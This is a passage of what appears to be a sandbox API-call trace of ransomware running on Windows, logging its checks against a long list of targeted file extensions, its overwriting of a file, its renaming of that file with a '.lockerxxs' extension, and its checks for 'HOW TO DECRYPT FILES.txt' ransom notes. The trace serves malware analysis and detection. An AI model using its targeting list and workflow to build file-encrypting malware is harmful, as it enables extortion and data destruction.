PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.ofx") returned 0 [0064.806] lstrlenA (lpString="*.ofx") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qif") returned 0 [0064.807] lstrlenA (lpString="*.qif") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.mye") returned 0 [0064.807] lstrlenA (lpString="*.mye") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.mbox") returned 0 [0064.807] lstrlenA (lpString="*.mbox") returned 6 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.eml") returned 0 [0064.807] lstrlenA (lpString="*.eml") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.pst") returned 0 [0064.807] lstrlenA (lpString="*.pst") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.ost") returned 0 [0064.807] lstrlenA (lpString="*.ost") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.idx") returned 0 [0064.807] lstrlenA (lpString="*.idx") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.dbx") returned 0 [0064.807] lstrlenA (lpString="*.dbx") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.sql") returned 0 [0064.807] lstrlenA (lpString="*.sql") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.mdb") returned 0 [0064.807] lstrlenA (lpString="*.mdb") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.fdb") returned 0 [0064.807] lstrlenA (lpString="*.fdb") returned 5 [0064.807] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.wab") returned 0 [0064.807] lstrlenA (lpString="*.wab") returned 5 [0064.808] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.dat") returned 0 [0064.808] lstrlenA (lpString="*.dat") returned 5 [0064.808] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.txt") returned 0 [0064.808] lstrlenA (lpString="*.txt") returned 5 [0064.808] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.jpeg") returned 0 [0064.808] lstrlenA (lpString="*.jpeg") returned 6 [0064.808] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.jpg") returned 1 [0064.808] lstrlenA (lpString="*.jpg") returned 5 [0064.808] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" [0064.808] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" [0064.808] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg." [0064.808] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.lockerxxs" [0064.808] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.809] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1bfb [0064.809] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x618eeb70, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea)) returned 1 [0064.809] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.809] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1bd5, lpOverlapped=0x0) returned 1 [0064.811] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg") returned="FormToolImages.jpg" [0064.811] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.811] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1bd5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1bd5, lpOverlapped=0x0) returned 1 [0064.811] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.811] CloseHandle (hObject=0x98) returned 1 [0064.812] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg.lockerxxs")) returned 1 [0064.814] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2577, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="form_edit.js", cAlternateFileName="FORM_E~1.JS")) returned 1 [0064.814] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.814] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="form_edit.js") returned -1 [0064.814] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="form_edit.js") returned 1 [0064.814] lstrcmpiA (lpString1="", lpString2="form_edit.js") returned -1 [0064.814] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg") returned="FormToolImages.jpg" [0064.814] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.814] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.814] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.814] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.814] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="form_edit.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js" [0064.814] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.ems") returned 0 [0064.814] lstrlenA (lpString="*.ems") returned 5 [0064.814] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.db") returned 0 [0064.814] lstrlenA (lpString="*.db") returned 4 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.dbf") returned 0 [0064.815] lstrlenA (lpString="*.dbf") returned 5 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.myox") returned 0 [0064.815] lstrlenA (lpString="*.myox") returned 6 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.myo") returned 0 [0064.815] lstrlenA (lpString="*.myo") returned 5 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qbw") returned 0 [0064.815] lstrlenA (lpString="*.qbw") returned 5 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qbb") returned 0 [0064.815] lstrlenA (lpString="*.qbb") returned 5 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qbm") returned 0 [0064.815] lstrlenA (lpString="*.qbm") returned 5 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qbo") returned 0 [0064.815] lstrlenA (lpString="*.qbo") returned 5 [0064.815] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qbx") returned 0 [0064.815] lstrlenA (lpString="*.qbx") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qba") returned 0 [0064.816] lstrlenA (lpString="*.qba") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qby") returned 0 [0064.816] lstrlenA (lpString="*.qby") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qbj") returned 0 [0064.816] lstrlenA (lpString="*.qbj") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.ofx") returned 0 [0064.816] lstrlenA (lpString="*.ofx") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.qif") returned 0 [0064.816] lstrlenA (lpString="*.qif") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mye") returned 0 [0064.816] lstrlenA (lpString="*.mye") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mbox") returned 0 [0064.816] lstrlenA (lpString="*.mbox") returned 6 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.eml") returned 0 [0064.816] lstrlenA (lpString="*.eml") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.pst") returned 0 [0064.816] lstrlenA (lpString="*.pst") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.ost") returned 0 [0064.816] lstrlenA (lpString="*.ost") returned 5 [0064.816] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.idx") returned 0 [0064.817] lstrlenA (lpString="*.idx") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.dbx") returned 0 [0064.817] lstrlenA (lpString="*.dbx") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.sql") returned 0 [0064.817] lstrlenA (lpString="*.sql") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mdb") returned 0 [0064.817] lstrlenA (lpString="*.mdb") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.fdb") returned 0 [0064.817] lstrlenA (lpString="*.fdb") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.wab") returned 0 [0064.817] lstrlenA (lpString="*.wab") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.dat") returned 0 [0064.817] lstrlenA (lpString="*.dat") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.txt") returned 0 [0064.817] lstrlenA (lpString="*.txt") returned 5 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.jpeg") returned 0 [0064.817] lstrlenA (lpString="*.jpeg") returned 6 [0064.817] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.jpg") returned 0 [0064.818] lstrlenA (lpString="*.jpg") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.png") returned 0 [0064.818] lstrlenA (lpString="*.png") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.php") returned 0 [0064.818] lstrlenA (lpString="*.php") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.cs") returned 0 [0064.818] lstrlenA (lpString="*.cs") returned 4 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.cpp") returned 0 [0064.818] lstrlenA (lpString="*.cpp") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.rar") returned 0 [0064.818] lstrlenA (lpString="*.rar") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.zip") returned 0 [0064.818] lstrlenA (lpString="*.zip") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.html") returned 0 [0064.818] lstrlenA (lpString="*.html") returned 6 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.htm") returned 0 [0064.818] lstrlenA (lpString="*.htm") returned 5 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.xlsx") returned 0 [0064.818] lstrlenA (lpString="*.xlsx") returned 6 [0064.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.xls") returned 0 [0064.819] lstrlenA (lpString="*.xls") returned 5 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mp4") returned 0 [0064.819] lstrlenA (lpString="*.mp4") returned 5 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.ppt") returned 0 [0064.819] lstrlenA (lpString="*.ppt") returned 5 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.pptx") returned 0 [0064.819] lstrlenA (lpString="*.pptx") returned 6 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.doc") returned 0 [0064.819] lstrlenA (lpString="*.doc") returned 5 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.dot") returned 0 [0064.819] lstrlenA (lpString="*.dot") returned 5 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.docx") returned 0 [0064.819] lstrlenA (lpString="*.docx") returned 6 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.7z") returned 0 [0064.819] lstrlenA (lpString="*.7z") returned 4 [0064.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.tar") returned 0 [0064.819] lstrlenA (lpString="*.tar") returned 5 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.bz2") returned 0 [0064.820] lstrlenA (lpString="*.bz2") returned 5 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.gz") returned 0 [0064.820] lstrlenA (lpString="*.gz") returned 4 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.mkv") returned 0 [0064.820] lstrlenA (lpString="*.mkv") returned 5 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.eml") returned 0 [0064.820] lstrlenA (lpString="*.eml") returned 5 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.msg") returned 0 [0064.820] lstrlenA (lpString="*.msg") returned 5 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.edb") returned 0 [0064.820] lstrlenA (lpString="*.edb") returned 5 [0064.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.accdb") returned 0 [0064.821] lstrlenA (lpString="*.accdb") returned 7 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.odb") returned 0 [0064.821] lstrlenA (lpString="*.odb") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.java") returned 0 [0064.821] lstrlenA (lpString="*.java") returned 6 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.asm") returned 0 [0064.821] lstrlenA (lpString="*.asm") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.pfx") returned 0 [0064.821] lstrlenA (lpString="*.pfx") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.pem") returned 0 [0064.821] lstrlenA (lpString="*.pem") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.p12") returned 0 [0064.821] lstrlenA (lpString="*.p12") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.gpg") returned 0 [0064.821] lstrlenA (lpString="*.gpg") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.vsd") returned 0 [0064.821] lstrlenA (lpString="*.vsd") returned 5 [0064.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.odg") returned 0 [0064.821] lstrlenA (lpString="*.odg") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.raw") returned 0 [0064.822] lstrlenA (lpString="*.raw") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.nef") returned 0 [0064.822] lstrlenA (lpString="*.nef") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.svg") returned 0 [0064.822] lstrlenA (lpString="*.svg") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.psd") returned 0 [0064.822] lstrlenA (lpString="*.psd") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.vmx") returned 0 [0064.822] lstrlenA (lpString="*.vmx") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.vmdk") returned 0 [0064.822] lstrlenA (lpString="*.vmdk") returned 6 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.vdi") returned 0 [0064.822] lstrlenA (lpString="*.vdi") returned 5 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js", pszSpec="*.lay6") returned 0 [0064.822] lstrlenA (lpString="*.lay6") returned 6 [0064.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 